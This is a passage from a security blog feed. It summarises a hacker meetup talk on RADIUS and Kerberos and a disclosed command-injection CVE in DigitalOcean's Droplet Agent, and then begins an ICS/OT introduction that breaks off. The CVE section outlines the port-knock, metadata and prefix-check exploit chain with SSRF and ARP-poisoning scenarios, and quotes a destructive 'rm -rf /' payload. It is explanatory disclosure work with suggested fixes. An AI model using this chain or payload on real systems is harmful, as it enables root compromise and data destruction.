<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentication-protocol-types-brief">Authentication protocol types (brief)<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#authentication-protocol-types-brief" class="hash-link" aria-label="Direct link to Authentication protocol types (brief)" title="Direct link to Authentication protocol types (brief)" translate="no">​</a></h4>
<ul>
<li class=""><em><strong>PAP</strong></em> (Password Authentication Protocol): <mark>very simple; credentials are sent in the clear by PPP/PAP (RADIUS hides them using the shared secret/MD5 obfuscation).</mark> Easy to implement but weak; servers may store password-equivalent data for verification.</li>
<li class=""><em><strong>CHAP</strong></em> (Challenge-Handshake Authentication Protocol): <mark>challenge/response using one-way hashes (no plaintext sent).</mark> Useful to avoid replay but requires reversible secret material at the verifier in some deployments.</li>
<li class=""><em><strong>MS-CHAP / MS-CHAPv2</strong></em>: Microsoft variants with incremental improvements (and notable historical weaknesses).</li>
<li class=""><em><strong>EAP</strong></em> (Extensible Authentication Protocol): <mark>framework that allows many methods (TLS, OTP, token cards) and is commonly proxied over RADIUS for Wi‑Fi/802.1X and VPNs.</mark></li>
</ul>
<blockquote>
<p><strong>Note:</strong> <em>RADIUS and credential handling</em>
<mark>Some authentication methods require the server to know the user's actual password (or something equivalent to it) in order to verify the login.</mark></p>
<ul>
<li class=""><em><strong>Why this happens:</strong></em> some NAS-side auth methods (PAP, certain CHAP deployments) require the verifier to compute or compare values derived from a user's secret. That often forces a RADIUS server to hold plaintext or password-equivalent material so it can validate requests.</li>
<li class=""><em><strong>Risk:</strong></em> storing password-equivalent data on RADIUS (or on any front-line AAA box) increases blast radius — a compromised RADIUS/proxy exposes many user secrets and enables lateral abuse.</li>
<li class=""><em><strong>Practical limitation:</strong></em> hashed+salted passwords (one-way hashes) are safest for storage, but they make some challenge/response schemes (that need the raw secret) impossible without an intermediary that can perform verification.</li>
</ul>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="accounting-and-interim-update-tracking-usage">Accounting and Interim-Update (tracking usage)<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#accounting-and-interim-update-tracking-usage" class="hash-link" aria-label="Direct link to Accounting and Interim-Update (tracking usage)" title="Direct link to Accounting and Interim-Update (tracking usage)" translate="no">​</a></h4>
<p><mark><strong>RADIUS Accounting</strong> (RFC 2866) supports session records:</mark></p>
<ul>
<li class=""><em>Start, Interim-Update, Stop.</em></li>
<li class=""><mark><em><strong>Interim-Update</strong></em> messages are periodic reports (common interval: every 5 minutes) that carry bytes/packets/time counters.</mark></li>
<li class="">These let the provider track quota consumption (e.g., a 30 GB monthly pack), perform throttling when limits are hit, or terminate sessions when allowance is exhausted.</li>
<li class="">Timestamps are Unix-time based and are commonly used in billing/analytics.</li>
</ul>
<p>What happens? an example flow -</p>
<ul>
<li class="">NAS sends Start when user connects, Interim-Update periodically, and Stop when session ends.</li>
<li class="">The accounting server aggregates and enforces policies (throttle, suspend, terminate).</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-would-you-do-when-the-internal-network-cannot-be-fully-trusted">What would you do when the internal network cannot be fully trusted?<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#what-would-you-do-when-the-internal-network-cannot-be-fully-trusted" class="hash-link" aria-label="Direct link to What would you do when the internal network cannot be fully trusted?" title="Direct link to What would you do when the internal network cannot be fully trusted?" translate="no">​</a></h3>
<p>If you cannot or do not want to trust the internal network or want to avoid hammering the AS with repeated full authentications, introduce a <em><strong>ticketing model</strong></em> (PS: Our soft inro to the three headed god: The <strong>Kerberos</strong>):</p>
<ul>
<li class=""><mark>The <em><strong>Authentication Service (AS)</strong></em> issues a time-bound cryptographic ticket (<em><strong>TGT</strong></em>) after initial authentication.</mark></li>
<li class=""><mark>The client uses the ticket to request service tickets from a <em><strong>Ticket-Granting Service (TGS)</strong></em> for specific services, avoiding repeated full auths to the AS.</mark></li>
<li class=""><mark>Tickets contain timestamps/nonces and are encrypted so replay attacks are mitigated; digital signatures or authenticators further protect freshness.</mark></li>
</ul>
<p>This offloads repeated authentication from the AS/KDC and enables <em><strong>single sign-on (SSO)</strong></em>. <mark><strong>Kerberos</strong> is primarily symmetric-key based (with public-key extensions) and relies on a <strong>KDC</strong> (AS + TGS) and synchronized time for replay protection.</mark></p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="directory-services-and-domain-controllers">Directory services and Domain Controllers<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#directory-services-and-domain-controllers" class="hash-link" aria-label="Direct link to Directory services and Domain Controllers" title="Direct link to Directory services and Domain Controllers" translate="no">​</a></h4>
<p>Many deployments pair <strong>Kerberos</strong> with a directory (<em><strong>LDAP</strong></em> / <em><strong>Active Directory</strong></em>). <mark><strong>LDAP</strong> stores user principals, service principals, and attributes (groups, policies).</mark> In Windows ecosystems the <em><strong>Domain Controller (DC)</strong></em> <mark>bundles KDC functionality, LDAP directory, DNS, and other services required for centralized identity and service discovery.</mark></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-2-from-ssrf-to-rce-discovering-cve-in-digital-ocean-droplet-agent-by-anmol-singh-rajput">Session 2: "From SSRF to RCE: Discovering CVE in Digital Ocean Droplet Agent" by Anmol Singh Rajput<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#session-2-from-ssrf-to-rce-discovering-cve-in-digital-ocean-droplet-agent-by-anmol-singh-rajput" class="hash-link" aria-label="Direct link to Session 2: &quot;From SSRF to RCE: Discovering CVE in Digital Ocean Droplet Agent&quot; by Anmol Singh Rajput" title="Direct link to Session 2: &quot;From SSRF to RCE: Discovering CVE in Digital Ocean Droplet Agent&quot; by Anmol Singh Rajput" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="digitalocean-droplets-and-the-droplet-agent">DigitalOcean Droplets and the Droplet Agent<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#digitalocean-droplets-and-the-droplet-agent" class="hash-link" aria-label="Direct link to DigitalOcean Droplets and the Droplet Agent" title="Direct link to DigitalOcean Droplets and the Droplet Agent" translate="no">​</a></h3>
<ul>
<li class="">DigitalOcean Droplets are Linux-based virtual machines (VMs) provided by DigitalOcean.</li>
<li class="">The <em><strong>Droplet Agent</strong></em> is a system service installed on every Droplet that handles tasks like SSH key management and configuration monitoring.</li>
<li class="">Because it manages critical system configuration, it runs with <em><strong>high privileges (root)</strong></em>.</li>
</ul>
<blockquote>
<p><mark>Metadata Services (169.254.169.254): Cloud providers use a local, non-routable IP address to allow VMs to query information about themselves (metadata).</mark> This address is only accessible from inside the VM or the internal network.</p>
</blockquote>
<blockquote>
<p><mark>Server-Side Request Forgery (SSRF):</mark> an attacker forces a server to make network requests on their behalf. In cloud environments, SSRF is often used to trick the web server into querying the provider's metadata service.</p>
</blockquote>
<blockquote>
<p><mark>Command Injection &amp; RCE:</mark> command injection occurs when unsafe, user-supplied data is passed to a system shell. Remote Code Execution (RCE) is the ultimate goal: arbitrary commands running on the target machine remotely.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comprehensive-summary-cve-2026-24516">Comprehensive Summary: CVE-2026-24516<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#comprehensive-summary-cve-2026-24516" class="hash-link" aria-label="Direct link to Comprehensive Summary: CVE-2026-24516" title="Direct link to Comprehensive Summary: CVE-2026-24516" translate="no">​</a></h3>
<ul>
<li class=""><strong>CVE:</strong> CVE-2026-24516</li>
<li class=""><strong>Vulnerability Type:</strong> Command Injection</li>
<li class=""><strong>Target:</strong> DigitalOcean Droplet Agent</li>
<li class=""><strong>Impact:</strong> Unauthenticated Remote Code Execution (RCE) as Root</li>
<li class=""><strong>Researcher:</strong> Anmol Singh Rajput (poxsky)</li>
<li class=""><strong>Reported:</strong> January 2026</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-droplet-agent-and-the-danger">The Droplet Agent and the Danger<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#the-droplet-agent-and-the-danger" class="hash-link" aria-label="Direct link to The Droplet Agent and the Danger" title="Direct link to The Droplet Agent and the Danger" translate="no">​</a></h3>
<ul>
<li class="">The DigitalOcean Droplet Agent (codename "DOTTY") runs as a system service with <em><strong>root privileges</strong></em> on every Droplet.</li>
<li class="">Its core functions include SSH key management, monitoring SSH configurations, and executing troubleshooting commands via a metadata API.</li>
<li class="">The danger comes from the agent trusting the link-local metadata address at <mark>169[.]254[.]169[.]254</mark> without authentication.</li>
<li class="">The source code is publicly accessible on GitHub, which made the attack surface easier to analyze.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-vulnerable-attack-chain">The Vulnerable Attack Chain<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#the-vulnerable-attack-chain" class="hash-link" aria-label="Direct link to The Vulnerable Attack Chain" title="Direct link to The Vulnerable Attack Chain" translate="no">​</a></h3>
<p>The researcher found a 5-step exploit chain that leads to complete system compromise:</p>
<ol>
<li class=""><strong>Port Knocking</strong>: The agent listens for a specific, undocumented TCP SYN packet on port 22. The packet must contain hardcoded sequence and acknowledgment numbers corresponding to the ASCII values for "DODO" and "TTY".</li>
<li class=""><strong>Metadata Fetch</strong>: Once the port knock is detected, the agent requests troubleshooting metadata from <mark>http[:]//169[.]254[.]169[.]254/metadata/v1[.]json</mark>.</li>
<li class=""><strong>Flawed Validation</strong>: The system validates the command string using <code>HasPrefix(artifact, "command:")</code> instead of enforcing an exact match.</li>
<li class=""><strong>Direct Execution</strong>: Because only the prefix is checked, an attacker can append malicious payloads like <code>command:bash -c 'rm -rf /'</code>, which are passed directly to <code>cmd.Run()</code> and <code>exec.CommandContext()</code> without sanitization.</li>
<li class=""><strong>Root RCE</strong>: The arbitrary commands execute with the agent's root privileges.</li>
</ol>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/htb-meetup/imgs/full-exploit-chain.png" alt="Agent logs showing exploit in progress">
<figcaption class="diagram-caption"><strong>Fig 2.1:</strong> Agent logs during exploitation — port knocking detected, metadata requests to 169[.]254[.]169[.]254, and command execution in progress.</figcaption>
</figure>
</div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="realistic-attack-scenarios">Realistic Attack Scenarios<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#realistic-attack-scenarios" class="hash-link" aria-label="Direct link to Realistic Attack Scenarios" title="Direct link to Realistic Attack Scenarios" translate="no">​</a></h3>
<ul>
<li class=""><strong>Scenario A (SSRF Chain Attack):</strong> An attacker exploits an existing SSRF bug in a customer's web app to reach the internal metadata IP. They serve a malicious JSON response containing crafted commands and send the magic TCP SYN packet to trigger execution. This requires <em><strong>zero credentials</strong></em> and <em><strong>zero user interaction</strong></em>.</li>
<li class=""><strong>Scenario B (Network Compromise):</strong> An attacker on the same network segment intercepts metadata traffic (for example via ARP poisoning) and sets up a fake metadata server on 169[.]254[.]169[.]254. They then trigger the vulnerability using the port knocking sequence.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="global-impact">Global Impact<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#global-impact" class="hash-link" aria-label="Direct link to Global Impact" title="Direct link to Global Impact" translate="no">​</a></h3>
<ul>
<li class=""><strong>Scale:</strong> Over 100,000 Droplets were potentially at risk.</li>
<li class=""><strong>Speed:</strong> Exploitation takes less than one hour.</li>
<li class=""><strong>Consequences:</strong> Attackers could exfiltrate sensitive data (SSH keys, database passwords, <code>/etc/shadow</code> dumps, application secrets), establish persistence (SSH backdoors, rootkits, cron jobs), or deploy wide-scale ransomware or supply chain attacks.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-researchers-journey--key-takeaways">The Researcher's Journey &amp; Key Takeaways<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#the-researchers-journey--key-takeaways" class="hash-link" aria-label="Direct link to The Researcher's Journey &amp; Key Takeaways" title="Direct link to The Researcher's Journey &amp; Key Takeaways" translate="no">​</a></h3>
<ul>
<li class=""><strong>Timeline:</strong> Report submitted on Jan 20, initially closed as "Out of Scope" due to a perceived lack of realistic exploitation scenario. It was escalated on Jan 23 with detailed MITM and SSRF attack paths, then MITRE assigned the CVE and the vendor confirmed the vulnerability.</li>
<li class=""><strong>Suggested Fixes:</strong> exact command allowlists, input sanitization, metadata authentication with HMAC signatures, and rate limiting for port knocking.</li>
</ul>
<blockquote>
<p><strong>Lessons Learned for Hunters:</strong></p>
<ul>
<li class="">Read public source code to find open attack surfaces.</li>
<li class="">Combine minor issues into critical vulnerabilities through chaining.</li>
<li class="">Never assume link-local addresses are safe.</li>
<li class="">If you believe in your finding after a rejection, escalate with solid evidence.</li>
</ul>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references-and-further-reading">References and further reading<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#references-and-further-reading" class="hash-link" aria-label="Direct link to References and further reading" title="Direct link to References and further reading" translate="no">​</a></h2>
<ul>
<li class="">RFC 2865 — Remote Authentication Dial In User Service (RADIUS): <a href="https://www.rfc-editor.org/rfc/rfc2865.txt" target="_blank" rel="noopener noreferrer" class="">https://www.rfc-editor.org/rfc/rfc2865.txt</a></li>
<li class="">RFC 2866 — RADIUS Accounting: <a href="https://www.rfc-editor.org/rfc/rfc2866.txt" target="_blank" rel="noopener noreferrer" class="">https://www.rfc-editor.org/rfc/rfc2866.txt</a></li>
<li class="">RFC 4120 — The Kerberos Network Authentication Service (V5): <a href="https://www.rfc-editor.org/rfc/rfc4120.txt" target="_blank" rel="noopener noreferrer" class="">https://www.rfc-editor.org/rfc/rfc4120.txt</a></li>
<li class="">RFC 3748 — Extensible Authentication Protocol (EAP): <a href="https://www.rfc-editor.org/rfc/rfc3748.txt" target="_blank" rel="noopener noreferrer" class="">https://www.rfc-editor.org/rfc/rfc3748.txt</a></li>
<li class="">RFC 1334 / RFC 1994 — PPP PAP and CHAP (historical PPP auth): <a href="https://www.rfc-editor.org/rfc/rfc1334.txt" target="_blank" rel="noopener noreferrer" class="">https://www.rfc-editor.org/rfc/rfc1334.txt</a> and <a href="https://www.rfc-editor.org/rfc/rfc1994.txt" target="_blank" rel="noopener noreferrer" class="">https://www.rfc-editor.org/rfc/rfc1994.txt</a></li>
<li class="">RADIUS overview (background/history): <a href="https://en.wikipedia.org/wiki/RADIUS" target="_blank" rel="noopener noreferrer" class="">https://en.wikipedia.org/wiki/RADIUS</a></li>
<li class="">Kerberos overview (history and tickets): <a href="https://en.wikipedia.org/wiki/Kerberos_(protocol)" target="_blank" rel="noopener noreferrer" class="">https://en.wikipedia.org/wiki/Kerberos_(protocol)</a></li>
<li class="">History of Authentication: <a href="https://cybersecurity.asee.io/blog/history-of-authentication/" target="_blank" rel="noopener noreferrer" class="">https://cybersecurity.asee.io/blog/history-of-authentication/</a></li>
<li class="">The History of the Computer Password: <a href="https://www.wired.com/2012/01/computer-password/" target="_blank" rel="noopener noreferrer" class="">https://www.wired.com/2012/01/computer-password/</a></li>
<li class="">Password History and Evolution: <a href="https://fusionauth.io/blog/password-history" target="_blank" rel="noopener noreferrer" class="">https://fusionauth.io/blog/password-history</a></li>
<li class="">DigitalOcean metadata service overview: <a href="https://docs.digitalocean.com/products/droplets/how-to/use-metadata/" target="_blank" rel="noopener noreferrer" class="">https://docs.digitalocean.com/products/droplets/how-to/use-metadata/</a></li>
<li class="">OWASP SSRF overview: <a href="https://owasp.org/www-community/attacks/Server_Side_Request_Forgery" target="_blank" rel="noopener noreferrer" class="">https://owasp.org/www-community/attacks/Server_Side_Request_Forgery</a></li>
<li class="">MITRE CVE-2026-24516: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24516" target="_blank" rel="noopener noreferrer" class="">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24516</a></li>
</ul>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="auth" term="auth"/>
        <category label="RADIUS" term="RADIUS"/>
        <category label="kerberos" term="kerberos"/>
        <category label="CVE-2026-24516" term="CVE-2026-24516"/>
        <category label="dotty" term="dotty"/>
        <category label="RCE" term="RCE"/>
        <category label="HTB-Mumbai-Meetup-Summary" term="HTB-Mumbai-Meetup-Summary"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Introduction to ICS/OT Security]]></title>
        <id>https://blog.haxnation.org/introduction-to-ics-ot-security</id>
        <link href="https://blog.haxnation.org/introduction-to-ics-ot-security"/>
        <updated>2026-05-25T08:00:00.000Z</updated>
        <summary type="html"><![CDATA[An introduction to Industrial Control Systems (ICS) and Operational Technology (OT) security, covering fundamental concepts, differences between IT and OT environments, and why industrial cybersecurity matters.
]]></summary>
        <content type="html"><![CDATA[<style>
.diagram-container { margin: 1.5rem auto; max-width: 820px; text-align: center; }
.diagram-caption { font-size: 0.95rem; color: #3a3a3a; margin-top: 0.5rem; }
.diagram-img { width: 100%; max-width: 780px; border-radius: 12px; box-shadow: 0 16px 40px rgba(0,0,0,0.08); }
.diagram-svg { width: 100%; max-width: 780px; height: auto; display: inline-block; transition: transform 0.25s ease; }
.diagram-svg:hover { transform: scale(1.01); }
.diagram-svg rect, .diagram-svg circle, .diagram-svg line, .diagram-svg polygon, .diagram-svg path { stroke: #4c7ece; stroke-width: 1.8; fill: rgba(13,63,145,0.08); transition: fill 0.25s ease, stroke 0.25s ease; }
.diagram-container:hover .diagram-svg rect, .diagram-container:hover .diagram-svg circle { fill: rgba(13,63,145,0.16); }
.diagram-container:hover .diagram-svg line, .diagram-container:hover .diagram-svg path { stroke: #082a67; }
.diagram-text { font-family: ui-sans-serif, system-ui, sans-serif; fill: #4c7ece; font-size: 12px; }
.diagram-title { font-family: ui-sans-serif, system-ui, sans-serif; fill: #4c7ece; font-size: 13px; font-weight: 700; }
</style>
<p>This blog introduces the fundamentals of ICS/OT security, including key industrial cybersecurity terminology, the differences between IT and OT environments. We’ll also explore core concepts and common components used in industrial systems.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">$ ./greet.sh</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">Hey folks</span><span class="token operator">!</span><span class="token operator">!</span><span class="token plain"> Param this side, your technical blog partner. </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">I will be starting a blog series on ICS/OT security. </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">If you are reading this </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">then</span><span class="token plain"> </span><span class="token function" style="color:rgb(80, 250, 123)">most</span><span class="token plain"> probably you and I are on the same path and believe me I am too new to this domain and will be navigating my and your path through this. </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">So my blog series will be covering notes, difficulties I faced, labs that I will </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">do</span><span class="token plain"> and much much more, I will keep this blog series raw as much as possible. </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">Besides this blog series I will posting some blogs here and there, so </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">do</span><span class="token plain"> check them out. </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">$ </span><span class="token function" style="color:rgb(80, 250, 123)">whoami</span><span class="token plain"> </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">I am Param, named after a supercomputer but not one</span><span class="token operator">!</span><span class="token operator">!</span><span class="token plain">, trying to learn and get better </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">in</span><span class="token plain"> this field everyday. </span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">I always say that </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">if</span><span class="token plain"> Morpheus appeared </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">in</span><span class="token plain"> my life and gave me an option to choose between blue pill and red pill, I would always choose blue pill, as I like to dwell into my illusion of protecting people </span><span class="token keyword" style="color:rgb(189, 147, 249);font-style:italic">in</span><span class="token plain"> a SOC environment, ~ you saw what I did there </span><span class="token punctuation" style="color:rgb(248, 248, 242)">;</span><span class="token punctuation" style="color:rgb(248, 248, 242)">)</span><span class="token plain"> </span><span class="token builtin class-name" style="color:rgb(189, 147, 249)">.</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-basic-terminology">1. Basic Terminology<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#1-basic-terminology" class="hash-link" aria-label="Direct link to 1. Basic Terminology" title="Direct link to 1. Basic Terminology" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-what-is-ot">1.1 What is OT?<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#11-what-is-ot" class="hash-link" aria-label="Direct link to 1.1 What is OT?" title="Direct link to 1.1 What is OT?" translate="no">​</a></h3>
<ul>
<li class=""><strong>Operational Technology (OT)</strong> is an umbrella term that refers to the <mark>hardware, software, and technology systems used to monitor, control, and manage physical devices, processes, and infrastructure in industrial and operational environments.</mark></li>
<li class="">Therefore, <mark>OT is actually a broad category that includes ICS as one of its major components</mark>, along with other technologies such as Industrial Internet of Things (IIoT) devices, smart sensors, robotics, asset management systems, predictive maintenance platforms, digital twins, and edge computing solutions.</li>
<li class="">OT prioritizes <mark>availability, then integrity and then confidentiality</mark>; so CIA triad in reverse, more of a <strong>AIC triad</strong>.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-what-is-ics">1.2 What is ICS?<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#12-what-is-ics" class="hash-link" aria-label="Direct link to 1.2 What is ICS?" title="Direct link to 1.2 What is ICS?" translate="no">​</a></h3>
<ul>
<li class=""><strong>Industrial Control System (ICS)</strong> is an umbrella term that is used to refer to the <mark>integrated hardware, software, and network system that are responsible for monitoring, automating and controlling physical industrial processes.</mark></li>
<li class="">Therefore, <mark>ICS is actually aggregate of a variety of a system types including process control systems (PCS), distributed control systems (DCS), supervisory control and data acquisition (SCADA) systems, safety instrumented systems (SIS), and many others.</mark></li>
</ul>
<blockquote>
<p><strong>Summary,</strong> <br>
Everything that deals with the physical/operational world is <strong>OT</strong> and
the control brains inside the OT world that actually make decisions to open/close valves, stop motors, adjust temperature comes under <strong>ICS</strong>.</p>
</blockquote>
<blockquote>
<p><strong>Note</strong> - <br>
<em>All ICS is OT, but not All OT is ICS.</em></p>
</blockquote>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://cdn.prod.website-files.com/645a45d56fc4750d4edd96fe/672500beb02d8cd3ba644608_652db196f291207aec0433eb_ICS-Cybersecurity-03.webp" alt="ICS cybersecurity architecture and convergence">
<figcaption class="diagram-caption"><strong>Fig 1.1:</strong> ICS cybersecurity architecture showing how IT and OT converge in modern industrial environments.</figcaption>
</figure>

</div>
<p>We have looked into how ICS and OT are different from each other, now let's cover how IT and OT are different from each other.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-difference-between-it--ot">1.3 Difference between IT &amp; OT<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#13-difference-between-it--ot" class="hash-link" aria-label="Direct link to 1.3 Difference between IT &amp; OT" title="Direct link to 1.3 Difference between IT &amp; OT" translate="no">​</a></h3>


















































<table><thead><tr><th>Feature</th><th>Information Technology (IT)</th><th>Operational Technology (OT)</th></tr></thead><tbody><tr><td>Primary Focus</td><td>Data management and processing.</td><td>Physical process control and safety.</td></tr><tr><td>Core Priority (Triad)</td><td>Confidentiality, Integrity, Availability.</td><td>Availability, Integrity, Confidentiality.</td></tr><tr><td>System Lifespan</td><td>Short (3–5 years for hardware/OS).</td><td>Long (15–30 years of continuous operation).</td></tr><tr><td>System Updates</td><td>Frequent, automated, often forced.</td><td>Rare; requires scheduled, manual downtime.</td></tr><tr><td>Performance Needs</td><td>Flexible (jitter/latency is manageable).</td><td>Deterministic (real-time, microsecond precision).</td></tr><tr><td>Connectivity</td><td>Standard (Internet-exposed, cloud-ready).</td><td>Historically isolated; now increasingly networked.</td></tr><tr><td>Typical Hardware</td><td>Servers, PCs, Cloud, Mobile, Networking.</td><td>PLCs, RTUs, Sensors, Actuators, HMIs.</td></tr><tr><td>Failure Consequence</td><td>Loss of data, financial/reputational damage.</td><td>Physical damage, environmental harm, loss of life.</td></tr></tbody></table>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://hoanlk.com/wp-content/uploads/2023/04/itvsot.png" alt="IT vs OT comparison diagram">
<figcaption class="diagram-caption"><strong>Fig 1.2:</strong> IT vs OT comparison showing the characteristics and focus areas of Information Technology versus Operational Technology.</figcaption>
</figure></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="14-what-is-an-asset-in-ics">1.4 What is an asset in ICS?<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#14-what-is-an-asset-in-ics" class="hash-link" aria-label="Direct link to 1.4 What is an asset in ICS?" title="Direct link to 1.4 What is an asset in ICS?" translate="no">​</a></h3>
<ul>
<li class="">An asset is a component that is used within an industrial control system.</li>
<li class="">They can be classified broadly in two types, i.e., <code>Physical</code> and <code>Logical</code>
<ul>
<li class=""><code>Physical Assets</code> are tangible hardware devices used in industrial environments; often includes assets like workstation, server, n/w switch, PLC, sensors, actuators, or broadly anything that uses a micro-controller or a microprocessor.</li>
<li class=""><code>Logical Assets</code> are those assets that reside on the physical asset; such as process graphic, database, logic program, firewall rule, firmware, etc.</li>
</ul>
</li>
</ul>
<blockquote>
<p><strong>Summary,</strong> <br>
<em>Hardware</em> = <strong>Physical Asset</strong> and <br>
<em>Software/Data/Config</em> = <strong>Logical Asset</strong></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="15-types-of-control-system-architectures">1.5 Types of Control System Architectures<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#15-types-of-control-system-architectures" class="hash-link" aria-label="Direct link to 1.5 Types of Control System Architectures" title="Direct link to 1.5 Types of Control System Architectures" translate="no">​</a></h3>
<p>We will look into two primary ones for now -</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="151-supervisory-control-and-data-acquisition-scada">1.5.1 Supervisory Control and Data Acquisition (SCADA)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#151-supervisory-control-and-data-acquisition-scada" class="hash-link" aria-label="Direct link to 1.5.1 Supervisory Control and Data Acquisition (SCADA)" title="Direct link to 1.5.1 Supervisory Control and Data Acquisition (SCADA)" translate="no">​</a></h4>
<ul>
<li class=""><strong>SCADA</strong> is a <mark>centralized system that supervises and collects data from many remote field devices spread over a large geographic area.</mark></li>
<li class="">Provides analytics to opertors .</li>
<li class="">Operators can send control commands back to the field.</li>
</ul>
<blockquote>
<p><em><strong>But why we need SCADA in the first place?</strong></em>
<br> Before SCADA, industries with spread-out assets (like power lines or pipelines) relied on manual monitoring. People had to physically travel to remote sites to read gauges and operate equipment. This was slow, expensive, dangerous, and inefficient.<br>
<strong>SCADA was developed to enable remote monitoring and supervisory control from a central location, reducing the need for on-site personnel.</strong></p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="152-distributed-control-systems-dcs">1.5.2 Distributed Control Systems (DCS)<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#152-distributed-control-systems-dcs" class="hash-link" aria-label="Direct link to 1.5.2 Distributed Control Systems (DCS)" title="Direct link to 1.5.2 Distributed Control Systems (DCS)" translate="no">​</a></h4>
<ul>
<li class="">DCS is a highly integrated, real time control system where multiple controllers are distributed throughout a single plant.</li>
<li class="">The controllers communicate with each other and operator continuously.</li>
<li class="">DCS excel at closed loop control - <em>systems whose action depends on the measured output through a feedback path</em>.</li>
</ul>
<blockquote>
<p><em><strong>But why we need DCS in first place?</strong></em>
<br> Large process plants (refineries, chemical plants) had thousands of control loops. Traditional centralized control using a centralized system was risky as if the central computer failed, the whole plant could shut down dangerously.
<br> <strong>DCS was created to distribute control across many processors so that failure in one area doesn’t stop the entire plant.</strong> It also made complex, continuous automation easier and safer.</p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="153-difference-between-scada-and-dcs">1.5.3 Difference between SCADA and DCS<a href="https://blog.haxnation.org/introduction-to-ics-ot-security#153-difference-between-scada-and-dcs" class="hash-link" aria-label="Direct link to 1.5.3 Difference between SCADA and DCS" title="Direct link to 1.5.3 Difference between SCADA and DCS" translate="no">​</a></h4>
















































































